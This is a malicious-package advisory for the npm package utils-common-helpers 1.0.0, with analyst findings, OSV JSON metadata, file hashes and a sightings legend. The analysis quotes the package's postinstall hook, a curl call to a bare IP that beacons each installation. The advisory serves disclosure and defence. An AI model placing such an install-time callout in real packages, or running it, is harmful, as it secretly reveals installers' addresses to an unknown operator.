mal-2026-5911
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (e6999f05f6036baf4f6d45de0c55c6dd63452dc59ab6ebcbad0ffebf93e60584)
package.json declares a postinstall lifecycle hook that runs curl -s http://8.140.205.78 -o /dev/null on every install. The package's only functional code is a trivial hello() helper in index.js that returns the string 'hello', which is inconsistent with the declared purpose of 'Common utility helpers for frontend projects'. The lifecycle network call has no relation to any advertised functionality and serves only to disclose the installer's public IP address and install timing to the operator of the bare IP 8.140.205.78. This is a classic install-counter / victim-discovery beacon pattern: a throwaway lure package whose real purpose is the install-time callout. Plain HTTP to a bare IP (no TLS, no domain, no documented purpose) is inconsistent with any legitimate telemetry shape.
Source: ghsa-malware (5d7c362bd8c9dbbe6e906877925eb6bd5d2facdacd7decdd16c59bea3dec7762)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "package.json",
"sha256": "1ba6e1d9d7952c1490d10a95e55cf2a26ed6e6b23dbf5173f70a93f0a5d8816d",
"tlsh": "54e07d3001209933a6dc97050e7d6105a6f24f1a128079182347112903ccbb554bfb0e"
},
{
"path": "index.js",
"sha256": "eb1ace7b2e955bdfe16f8232de9e385b0b9ebb7efd75cedd7ed8bbb2b4d8b52f",
"tlsh": "ec90043153743355553ccc00f540541734d54c400507c405034cd5cc7050c3400c44c4"
}
],
"package_integrity": [
{
"filename": "utils-common-helpers-1.0.0.tgz",
"hashes": {
"sha1": "19bfc8115ef15b0e29e62893877e788d4a7c2f21",
"sha512_sri": "sha512-0TcXzqhu9N5QOIeRFSgZ1axG/f9lEVLbRHFg1FvOWLJyUWet/0qcA9zmyGMq/1C7k0RwUw1eL2lhyzhhNodtig=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "utils-common-helpers"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "SEMVER"
}
],
"versions": [
"1.0.0"
]
}
],
"aliases": [
"GHSA-fq4g-5xjj-r935"
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-006802",
"import_time": "2026-06-16T18:10:21.252996815Z",
"modified_time": "2026-06-16T17:36:03Z",
"sha256": "e6999f05f6036baf4f6d45de0c55c6dd63452dc59ab6ebcbad0ffebf93e60584",
"source": "amazon-inspector",
"versions": [
"1.0.0"
]
},
{
"id": "GHSA-fq4g-5xjj-r935",
"import_time": "2026-08-21T12:26:03.490443114Z",
"modified_time": "2026-08-21T11:37:36Z",
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "SEMVER"
}
],
"sha256": "5d7c362bd8c9dbbe6e906877925eb6bd5d2facdacd7decdd16c59bea3dec7762",
"source": "ghsa-malware"
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e6999f05f6036baf4f6d45de0c55c6dd63452dc59ab6ebcbad0ffebf93e60584)\npackage.json declares a postinstall lifecycle hook that runs `curl -s http://8.140.205.78 -o /dev/null` on every install. The package\u0027s only functional code is a trivial `hello()` helper in index.js that returns the string \u0027hello\u0027, which is inconsistent with the declared purpose of \u0027Common utility helpers for frontend projects\u0027. The lifecycle network call has no relation to any advertised functionality and serves only to disclose the installer\u0027s public IP address and install timing to the operator of the bare IP 8.140.205.78. This is a classic install-counter / victim-discovery beacon pattern: a throwaway lure package whose real purpose is the install-time callout. Plain HTTP to a bare IP (no TLS, no domain, no documented purpose) is inconsistent with any legitimate telemetry shape.\n\n## Source: ghsa-malware (5d7c362bd8c9dbbe6e906877925eb6bd5d2facdacd7decdd16c59bea3dec7762)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n",
"id": "MAL-2026-5911",
"modified": "2026-08-21T12:28:13.278271173Z",
"published": "2026-06-16T17:36:03Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/utils-common-helpers/v/1.0.0"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-fq4g-5xjj-r935"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in utils-common-helpers (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.